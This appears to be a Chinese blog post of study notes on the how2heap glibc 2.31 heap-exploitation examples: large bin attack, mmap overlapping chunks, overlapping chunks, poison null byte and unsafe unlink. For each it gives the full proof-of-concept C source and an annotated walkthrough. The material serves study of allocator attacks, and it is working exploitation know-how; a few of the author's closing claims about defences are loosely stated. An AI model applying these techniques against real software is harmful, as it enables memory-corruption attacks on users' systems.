how2heap2.31学习(4)

前言:
下面是how2heaplibc2.31剩余的部分
仅为个人笔记,如有错误,还望师傅们指正

large_bin_attack

编译命令

gcc -DDEBUG -g -o large_bin_attack large_bin_attack.c

源码:

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

	if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
		fwd = bck;
		bck = bck->bk;
		victim->fd_nextsize = fwd->fd;
		victim->bk_nextsize = fwd->fd->bk_nextsize;
		fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
	}


*/

int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);

  printf("\n\n");
  printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
  printf("Check 1 : \n");
  printf(">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
  printf("Check 2 : \n");
  printf(">    if (bck->fd != fwd)\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
  printf("This prevents the traditional large bin attack\n");
  printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
  
  printf("====================================================================\n\n");

  size_t target = 0;
  printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
  size_t *p1 = malloc(0x428);
  printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
  size_t *g1 = malloc(0x18);
  printf("And another chunk to prevent consolidate\n");

  printf("\n");

  size_t *p2 = malloc(0x418);
  printf("We also allocate a second large chunk [p2]  (%p).\n",p2-2);
  printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
  size_t *g2 = malloc(0x18);
  printf("Once again, allocate a guard chunk to prevent consolidate\n");

  printf("\n");

  free(p1);
  printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
  size_t *g3 = malloc(0x438);
  printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

  printf("\n");

  free(p2);
  printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
  printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
  printf("               and one chunk in unsorted bin [p2] (%p)\n",p2-2);

  printf("\n");

  p1[3] = (size_t)((&target)-4);
  printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

  printf("\n");

  size_t *g4 = malloc(0x438);
  printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
  printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
  printf("  the modified p1->bk_nextsize does not trigger any error\n");
  printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

  printf("\n");

  printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
  printf("Target (%p) : %p\n",&target,(size_t*)target);

  printf("\n");
  printf("====================================================================\n\n");

  assert((size_t)(p2-2) == target);

  return 0;
}

libc2.30后,large bin chunk加了两项新的检查
检查1:

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
	malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

检查2:

if (bck->fd != fwd)
   malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

然后其实还有一条路可以走large bin attack:

先申请一个large bin 范围的chunk
p1=malloc(0x428)

接着申请一个0x18chunk,防止free时合并

再申请p2=malloc(0x418)

接着申请0x18chunk

下一步free(p1)
我们再malloc(0x438),size大于p1,不会从unsortbin中取p1,然后p1会放到largebin中
请添加图片描述
释放0x418的p2
会释放到unsortbin中
现在我们改在largebin中的chunk的bk_nextsize为target-0x20
题目里target的值是栈上的一个变量的地址

请添加图片描述
我们最后申请一个大于p2size的chunk,同样会放到large bin中
可以看到栈的地址写入了一个堆地址
总体就是p1先入largebin,改p1的bk_nextsize为target-0x20,p2后入largebin,达成攻击
(p1size>p2size)
达到了任意地址写堆地址的效果
请添加图片描述

mmap_overlapping_chunks

编译命令

gcc -DDEBUG -g -o mmap_overlapping_chunks mmap_overlapping_chunks.c

源码:

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>

/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`

POC written by POC written by Maxwell Dulin (Strikeout) 
*/
int main(){
	/*
	A primer on Mmap chunks in GLibC
	==================================
	In GLibC, there is a point where an allocation is so large that malloc
	decides that we need a seperate section of memory for it, instead 
	of allocating it on the normal heap. This is determined by the mmap_threshold var.
	Instead of the normal logic for getting a chunk, the system call *Mmap* is 
	used. This allocates a section of virtual memory and gives it back to the user. 

	Similarly, the freeing process is going to be different. Instead 
	of a free chunk being given back to a bin or to the rest of the heap,
	another syscall is used: *Munmap*. This takes in a pointer of a previously 
	allocated Mmap chunk and releases it back to the kernel. 

	Mmap chunks have special bit set on the size metadata: the second bit. If this 
	bit is set, then the chunk was allocated as an Mmap chunk. 

	Mmap chunks have a prev_size and a size. The *size* represents the current 
	size of the chunk. The *prev_size* of a chunk represents the left over space
	from the size of the Mmap chunk (not the chunks directly belows size). 
	However, the fd and bk pointers are not used, as Mmap chunks do not go back 
	into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of 
	the chunk must be page-aligned.

	The POC below is essentially an overlapping chunk attack but on mmap chunks. 
	This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. 
	The main difference is that mmapped chunks have special properties and are 
	handled in different ways, creating different attack scenarios than normal 
	overlapping chunk attacks. There are other things that can be done, 
	such as munmapping system libraries, the heap itself and other things.
	This is meant to be a simple proof of concept to demonstrate the general 
	way to perform an attack on an mmap chunk.

	For more information on mmap chunks in GLibC, read this post: 
	http://tukan.farm/2016/07/27/munmap-madness/
	*/

	int* ptr1 = malloc(0x10); 

	printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
	printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
	printf("of memory, instead of being put onto the normal heap.\n");
	puts("=======================================================\n");
	printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");
		
	long long* top_ptr = malloc(0x100000);
	printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

	// After this, all chunks are allocated downwards in memory towards the heap.
	long long* mmap_chunk_2 = malloc(0x100000);
	printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

	long long* mmap_chunk_3 = malloc(0x100000);
	printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

	printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
	
	printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
	printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

	printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");	
	printf("This will cause both chunks to be Munmapped and given back to the system\n");
	printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

	// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
	// Additionally, this same attack can be used with the prev_size instead of the size.
	mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
	printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
	printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

	/*
	This next call to free is actually just going to call munmap on the pointer we are passing it.
	The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845

	With normal frees the data is still writable and readable (which creates a use after free on 
	the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
	data is read or written to, the program crashes.
	
	Because of this added restriction, the main goal is to get the memory back from the system
	to have two pointers assigned to the same location.
	*/
	// Munmaps both the second and third pointers
	free(mmap_chunk_3); 

	/* 
	Would crash, if on the following:
	mmap_chunk_2[0] = 0xdeadbeef;
	This is because the memory would not be allocated to the current program.
	*/

	/*
	Allocate a very large chunk with malloc. This needs to be larger than 
	the previously freed chunk because the mmapthreshold has increased to 0x202000.
	If the allocation is not larger than the size of the largest freed mmap 
	chunk then the allocation will happen in the normal section of heap memory.
	*/	
	printf("Get a very large chunk from malloc to get mmapped chunk\n");
	printf("This should overlap over the previously munmapped/freed chunks\n");
	long long* overlapping_chunk = malloc(0x300000);
	printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
	printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

	// Gets the distance between the two pointers.
	int distance = mmap_chunk_2 - overlapping_chunk;
	printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
	printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);
	
	// Set the value of the overlapped chunk.
	printf("Setting the value of the overlapped chunk\n");
	overlapping_chunk[distance] = 0x1122334455667788;

	// Show that the pointer has been written to.
	printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
	printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
	printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
	assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

(翻译一下注释)
这项技术应该可以利用在所有版本的libc里
一个glibc用nmap分配chunk的示例:
在GLibC中,我们如果要分配一个很大的内存,以至于malloc决定它需要一个单独的内存段来分配他,而不是在普通的堆上分配它。这个大小由变量mmap_threshold决定。和正常获取chunk的逻辑不同,使用系统调用mmap,分配了一段虚拟内存,并且返回给了user。
同样的,free的进程也会变得不同。不同于常规的返回空闲块到bins或堆的其余部分,使用了另一个系统调用
Munmap,接受先前Mmap分配的块并释放回内核。
Mmap chunks 有一个特殊的位:设置为2,如果这个位被设置了,则会被认为是Mmap chunks

Mmap chunks 有一个prev_size 和一个 size
size表示的就是当前块的大小
prev_size表示的是mmap chunks的剩余空间(不是直接属于大小的块)
此外,没有使用fd和bk指针,因为它不像大多数GLibC Malloc分配的堆块会返回到bins。

释放时它chunk的size必须与页对齐(page-aligned)

下面的POC本质上是一种重叠块攻击,但针对的是mmap块
这和glibc_2.26/overlapping_chunks.c.的攻击非常像
主要不同是mmapp块具有特殊属性
以不同的方式处理,造成不同的攻击场景
重叠区块攻击。
还有其他事情可以做,比如munmapping系统库、堆本身和其他事情。
这是一个简单的概念证明,以证明对mmap块执行攻击的方法。

首先ptr1 = malloc(0x10);
这是在执行重叠块攻击,但攻击的是非常大的块(mmap块)
非常大的块是特殊的,因为它们是用mmap在内存段中分配的,而不是放在普通堆中
申请一个十分大的chuns size 为0x100000
top_ptr = malloc(0x100000)
vmmap可以看到它在libc上面
请添加图片描述
在此之后,所有块在内存中向下分配给堆
mmap_chunk_2 = malloc(0x100000)
请添加图片描述
mmap_chunk_3 = malloc(0x100000)请添加图片描述此时程序结构是这样的

running program
heap
....
third mmap chunk
second mmap chunk
LibC
....
ld
first mmap chunk

此时mmap_chunk_3的
prev_size:0
size:0x101002
请添加图片描述

改变mmap_chunk_3的size与mmap_chunk_2造成堆块重叠
这会导致两个chunks都被Munmap返回给系统
这就是需要的漏洞点(可能是index错误或者堆溢出之类的)
能改写到size or prev_size

现在mmap_chunk_3的size为 0x202002
请添加图片描述
接下来我们free(mmap_chunk_3)
现在 Munmap同时释放了2和3的指针
对free的调用实际上是调用munmap
如果是普通的堆块释放,那块地址数据仍然是可写的和可读的,但是munmap释放,直接释放回内核,这块地址就不能读写了,读写会直接崩溃。

不能直接用mmap_chunk_2[0] = 0xdeadbeef;
因为这块内存不在程序中

由于这个条件的限制,我们利用的目标要先从系统中取回内存

请添加图片描述
可以看到变为101000了,这里已经释放回去了0x202000内存还给内核了
mmapthreshold变为了0x202000
(用malloc分配一个很大的块。这需要大于
之前的空闲块,因为mmapthreshold已增加到0x202000。
如果分配不大于最大释放的mmap的大小,块将在堆内存的正常部分进行分配。)
接着我们申请overlapping_chunk = malloc(0x300000)

overlapping_chunk现在和mmap_chunk_2的索引40000(因为数组类型longlong)
他们俩的距离为0x200000
我们改mmap_chunk_2[0x40000]地址的值为0x1122334455667788

总体来说就是就是一个堆重叠,不过是mmap分配的堆的重叠

overlapping_chunks

编译命令

gcc -DDEBUG -g -o overlapping_chunks overlapping_chunks.c

源码:

/*

 A simple tale of overlapping chunk.
 This technique is taken from
 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
	setbuf(stdout, NULL);

	long *p1,*p2,*p3,*p4;
	printf("\nThis is another simple chunks overlapping problem\n");
	printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
		   "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
		   "and the prev_size of it must match the unsortedbin's size\n"
		   "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");

	printf("Let's start to allocate 4 chunks on the heap\n");

	p1 = malloc(0x80 - 8);
	p2 = malloc(0x500 - 8);
	p3 = malloc(0x80 - 8);

	printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

	memset(p1, '1', 0x80 - 8);
	memset(p2, '2', 0x500 - 8);
	memset(p3, '3', 0x80 - 8);

	printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
	int evil_chunk_size = 0x581;
	int evil_region_size = 0x580 - 8;
	printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
		 evil_chunk_size, evil_region_size);

	/* VULNERABILITY */
	*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
	/* VULNERABILITY */

	printf("\nNow let's free the chunk p2\n");
	free(p2);
	printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

	printf("\nNow let's allocate another chunk with a size equal to the data\n"
	       "size of the chunk p2 injected size\n");
	printf("This malloc will be served from the previously freed chunk that\n"
	       "is parked in the unsorted bin which size has been modified by us\n");
	p4 = malloc(evil_region_size);

	printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
	printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
	printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

	printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
		   " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

	printf("Let's run through an example. Right now, we have:\n");
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
	memset(p4, '4', evil_region_size);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
	memset(p3, '3', 80);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	assert(strstr((char *)p4, (char *)p3));
}

这源码有问题,应该有4个堆,这里少了最后一个防止合并到topchunk的chunk

大致是这么个流程
首先申请4个堆
p1 = malloc(0x80 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);
p4 防止合并到unsorbin

然后这三个chunk填满1,2,3

假设我们现在有个溢出,可以覆写已经p2的size为0x581刚好包含了p3
然后free掉,再申请回来,p3和p2就重叠了
我们可以用p2去编辑p3

poison_null_byte

编译命令

gcc -DDEBUG -g -o poison_null_byte poison_null_byte.c

源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	puts("Welcome to poison null byte!");
	puts("Tested in Ubuntu 20.04 64bit.");
	puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.");

	puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n");

	// step1: allocate padding
	puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00");
	void *tmp = malloc(0x1);
	void *heap_base = (void *)((long)tmp & (~0xfff));
	printf("heap address: %p\n", heap_base);
	size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;
	printf("Calculate padding chunk size: 0x%lx\n", size);
	puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.");
	void *padding= malloc(size);

	// step2: allocate prev chunk and victim chunk
	puts("\nStep2: allocate two chunks adjacent to each other.");
	puts("Let's call the first one 'prev' and the second one 'victim'.");
	void *prev = malloc(0x500);
	void *victim = malloc(0x4f0);
	puts("malloc(0x10) to avoid consolidation");
	malloc(0x10);
	printf("prev chunk: malloc(0x500) = %p\n", prev);
	printf("victim chunk: malloc(0x4f0) = %p\n", victim);

	// step3: link prev into largebin
	puts("\nStep3: Link prev into largebin");
	puts("This step is necessary for us to forge a fake chunk later");
	puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk");
	puts("allocate a chunk 'a' with size a little bit smaller than prev's");
	void *a = malloc(0x4f0);
	printf("a: malloc(0x4f0) = %p\n", a);
	puts("malloc(0x10) to avoid consolidation");
	malloc(0x10);
	puts("allocate a chunk 'b' with size a little bit larger than prev's");
	void *b = malloc(0x510);
	printf("b: malloc(0x510) = %p\n", b);
	puts("malloc(0x10) to avoid consolidation");
	malloc(0x10);

	puts("\nCurrent Heap Layout\n"
		 "    ... ...\n"
		 "padding\n"
		 "    prev Chunk(addr=0x??0010, size=0x510)\n"
     	 "  victim Chunk(addr=0x??0520, size=0x500)\n"
		 " barrier Chunk(addr=0x??0a20, size=0x20)\n"
		 "       a Chunk(addr=0x??0a40, size=0x500)\n"
		 " barrier Chunk(addr=0x??0f40, size=0x20)\n"
		 "       b Chunk(addr=0x??0f60, size=0x520)\n"
		 " barrier Chunk(addr=0x??1480, size=0x20)\n");

	puts("Now free a, b, prev");
	free(a);
	free(b);
	free(prev);
	puts("current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\n");

	puts("Allocate a huge chunk to enable sorting");
	malloc(0x1000);
	puts("current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n");

	puts("This will add a, b and prev to largebin\nNow prev is in largebin");
	printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10);
	printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10);

	// step4: allocate prev again to construct fake chunk
	puts("\nStep4: Allocate prev again to construct the fake chunk");
	puts("Since large chunk is sorted by size and a's size is smaller than prev's,");
	puts("we can allocate 0x500 as before to take prev out");
	void *prev2 = malloc(0x500);
	printf("prev2: malloc(0x500) = %p\n", prev2);
	puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b");
	assert(prev == prev2);

	puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10");
	puts("So set its size to 0x501 (0x510-0x10 | flag)");
	((long *)prev)[1] = 0x501;
	puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check");
	*(long *)(prev + 0x500) = 0x500;
	printf("The fake chunk should be at: %p\n", prev + 0x10);
	puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk");
	puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b");

	// step5: bypass unlinking
	puts("\nStep5: Manipulate residual pointers to bypass unlinking later.");
	puts("Take b out first by allocating 0x510");
	void *b2 = malloc(0x510);
	printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10);
	printf("We can overwrite the least significant two bytes to make it our fake chunk.\n"
			"If the lowest 2nd byte is not \\x00, we need to guess what to write now\n");
	((char*)b2)[0] = '\x10';
	((char*)b2)[1] = '\x00';  // b->fd <- fake_chunk
	printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]);

	puts("To do the same to a, we can move it to unsorted bin first"
			"by taking it out from largebin and free it into unsortedbin");
	void *a2 = malloc(0x4f0);
	free(a2);
	puts("Now free victim into unsortedbin so that a->bck points to victim");
	free(victim);
	printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim);
	puts("Again, we take a out and overwrite a->bck to fake chunk");
	void *a3 = malloc(0x4f0);
	((char*)a3)[8] = '\x10';
	((char*)a3)[9] = '\x00';
	printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]);
	// pass unlink_chunk in malloc.c:
	//      mchunkptr fd = p->fd;
	//      mchunkptr bk = p->bk;
	//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
	//          malloc_printerr ("corrupted double-linked list");
	puts("And we have:\n"
		 "fake_chunk->fd->bk == a->bk == fake_chunk\n"
		 "fake_chunk->bk->fd == b->fd == fake_chunk\n"
		 );

	// step6: add fake chunk into unsorted bin by off-by-null
	puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin");
	puts("Take victim out from unsortedbin");
	void *victim2 = malloc(0x4f0);
	printf("%p\n", victim2);
	puts("off-by-null into the size of vicim");
	/* VULNERABILITY */
	((char *)victim2)[-8] = '\x00';
	/* VULNERABILITY */

	puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n"
			"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n"
			"add the merged chunk into unsortedbin."
			);
	printf("For our fake chunk, because of what we did in step4,\n"
			"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n"
			"so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev);
	free(victim);
	puts("After freeing the victim, the new merged chunk is added to unsorted bin"
			"And it is overlapped with the prev chunk");

	// step7: validate the chunk overlapping
	puts("Now let's validate the chunk overlapping");
	void *merged = malloc(0x100);
	printf("merged: malloc(0x100) = %p\n", merged);
	memset(merged, 'A', 0x80);
	printf("Now merged's content: %s\n", (char *)merged);

	puts("Overwrite prev's content");
	memset(prev2, 'C', 0x80);
	printf("merged's content has changed to: %s\n", (char *)merged);

	assert(strstr(merged, "CCCCCCCCC"));
}

step1: 分配填充
先tmp = malloc(0x1)
泄露出堆的基址
然后计算要填充的size
size = 0x10000 - ((long)tmp&0xffff) - 0x20
(tmp&0xffff就是取最后四位)
然后malloc(size)
请添加图片描述
可以发现这个操作其实就是让top chunk 页对齐

step2:分配两个相邻的chunk
prev = malloc(0x500)
victim = malloc(0x4f0)
malloc(0x10)避免合并
请添加图片描述
step3:链入largebin
a = malloc(0x4f0)
malloc(0x10);避免合并
b = malloc(0x510)(要求b>a)
malloc(0x10);避免合并

现在free a,b,prev
请添加图片描述
现在unsortbin链:prev(0x511)->b(0x521)->a(0x501)->prev(0x511)
分配一个大块都不满足条件,放入largebin中会先从小到大排序
malloc(0x1000);
请添加图片描述
放入到largebin链:a(0x501)->prev(0x511)->b(0x521)->a(0x501)

step4:再一次分配prev去控制fake_chunk

申请prev2 = malloc(0x500)
prev2申请到的内存是0x511prev的内存
fake_chunk包含在prev中,其大小比prev的小0x10
所以设置它的size为0x501
请添加图片描述
它下面堆块的prev_size设置为0x500
请添加图片描述
其实我们就是使用了largebin中残留的
fd_nextsize 和 bk_nextsize 把它看作 fake_chunk’s fd 和 bk

step5: 操作剩余指针去通过 unlinking 检查
先b2 = malloc(0x510)
取出largebin中的b
现在largebin链:a(0x501)

由于b中还残存着b->fd指向a
我们只需要改最后两位使其指向我们的fake_chunk
现在指向我们fake_chunk了
请添加图片描述
对a做相同的事
先把a从largebin中取出a2 = malloc(0x4f0)
再把它释放到unsortbin中
free(a2);

现在我们把很早之前malloc的victim释放(size0x500)

再一次我们把a从unsortbin中拿出,改bk最后两位指向我们的fake_chunk
请添加图片描述

这个是unlink的检查

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
	malloc_printerr ("corrupted double-linked list");

现在我们已经改了

fake_chunk->fd->bk == a->bk == fake_chunk
fake_chunk->bk->fd == b->fd == fake_chunk

可以通过检查

Step6:使用向后合并,把fake_chunk摘到unsortbin中

从largebin中取出victim,victim2 = malloc(0x4f0)

用一个off by null漏洞,改victim的use位为0

现在我们满足unlink的一切条件了,只要free掉这个victim就能触发unlink了

达到的目的就是把我们fake的chunk释放到了unsortbin中
请添加图片描述

最后验证是否堆重叠了
merged = malloc(0x100)
从unsortbin中割出一块
往里面填0x80个a
往prev里填0x80个c
可以发现堆重叠了
请添加图片描述
总体来说,就是利用largebin中残余的指针,通过布置可以仅修改最后两位,
伪造fake_chunk,满足unlink,造成堆重叠

unsafe_unlink

编译命令

gcc -DDEBUG -g -o unsafe_unlink unsafe_unlink.c

源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 20.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
	chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

malloc_size = 0x420;要足够大不使用tcache和fastbin
chunk0_ptr = malloc(malloc_size)
chunk1_ptr = malloc(malloc_size)

接着我们再chunk0里伪造一个fake_chunk
size=chunk1_ptr的size-0x10
fd=chunk0_ptr的地址-0x18
bk=chunk0_ptr的地址-0x10
(特别注意这里是chunk0_ptr地址,地址上存的才是堆的地址)
请添加图片描述
现在假设chunk0中存在溢出,我们可以随意改chunk1的值
接着我们改chunk1的prev_size为0x420,size的use位设为0
请添加图片描述
然后我们释放chunk1,就能触发unlink,向后合并

现在chunk0的指针指向自己了

然后我们可以通过释放这个指针两次doublefree造成任意地址写任意值

(不过libc2.32就有新的防御,新的防御机制-safe-linking(异或加密),其核心思想是:将指针的地址右移12位再和指针本身异或,这种unlink用不了啦)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:
